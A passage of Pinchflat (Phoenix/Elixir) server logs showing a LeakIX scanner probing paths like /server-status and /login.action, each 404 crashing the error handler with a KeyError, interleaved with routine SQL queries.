:"HTTP/1.1", path: "/server", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 3, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36600.0>, params: %{}, path_info: ["server"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/server", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalid (truncated) 21:37:31.540 [info] GET /server-status 21:37:31.541 [debug] QUERY OK source="settings" db=0.4ms idle=1555.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:31.542 [debug] QUERY OK source="settings" db=0.2ms idle=1009.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:31.542 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:31.542 [error] #PID<0.36601.0> running PinchflatWeb.Endpoint (connection #PID<0.36597.0>, stream id 4) terminated Server: youtube.plexultra.com:80 (http) Request: GET /server-status ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36601.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkVDEAA5rHaMAAVjj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /server-status (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/server-status", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 4, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36601.0>, params: %{}, path_info: ["server-status"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/server-status", resp_body: nil, resp_cookies: %{}, resp_head (truncated) 21:37:32.542 [info] GET /about 21:37:32.543 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=1001.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:32.545 [debug] QUERY OK source="settings" db=0.3ms queue=0.4ms idle=1002.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:32.545 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:32.546 [error] #PID<0.36604.0> running PinchflatWeb.Endpoint (connection #PID<0.36597.0>, stream id 5) terminated Server: youtube.plexultra.com:80 (http) Request: GET /about ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36604.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkYx8xvvE_WUAAVkj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 5, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36604.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, (truncated) 21:37:33.504 [info] GET /login.action 21:37:33.506 [debug] QUERY OK source="settings" db=0.4ms queue=0.3ms idle=1519.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:33.507 [debug] QUERY OK source="settings" db=0.4ms idle=1520.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:33.507 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:37:33.508 [error] #PID<0.36605.0> running PinchflatWeb.Endpoint (connection #PID<0.36597.0>, stream id 6) terminated Server: youtube.plexultra.com:80 (http) Request: GET /login.action ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36605.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNHMkcXaj5jirOoAAVlD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.36597.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "youtube.plexultra.com", peer: {{198, 18, 13, 14}, 49830}, bindings: %{}, sock: {{198, 18, 13, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "host" => "youtube.plexultra.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)", "x-forwarded-for" => "198.18.13.1", "x-forwarded-host" => "youtube.plexultra.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "7e50a363a8b5", "x-real-ip" => "198.18.13.1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 6, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "youtube.plexultra.com", method: "GET", owner: #PID<0.36605.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://youtube.plexultra.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {198, 18, 13, 14}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"host", "youtube.plexultra.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.5373e2036313e2137313e2230323; +https://leakix.net)"}, {"x-forwarded-for", "198.18.13.1"}, {"x-forwarded-host", "youtube.plexultra.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "7e50a363a8b5"}, {"x-real-ip", "198.18.13.1"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", " (truncated) 21:37:34.473 [info] GET / 21:37:34.473 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:37:34.475 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=968.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.476 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=968.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:37:34.478 [info] GET / 21:37:34.478 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:37:34.479 [debug] QUERY OK source="sources" db=2.4ms queue=0.1ms idle=930.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:37:34.479 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=485.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.480 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:37:34.480 [debug] QUERY OK source="sources" db=0.4ms idle=3.7ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:37:34.481 [debug] QUERY OK source="media_items" db=1.5ms idle=486.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.481 [debug] QUERY OK source="media_items" db=0.3ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.482 [debug] QUERY OK source="media_items" db=1.0ms idle=1.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.482 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.482 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.482 [debug] QUERY OK source="media_items" db=0.7ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:37:34.483 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.483 [debug] QUERY OK source="settings" db=0.7ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.484 [debug] QUERY OK source="tasks" db=0.4ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:37:34.484 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:37:34.486 [debug] QUERY OK source="settings" db=0.3ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 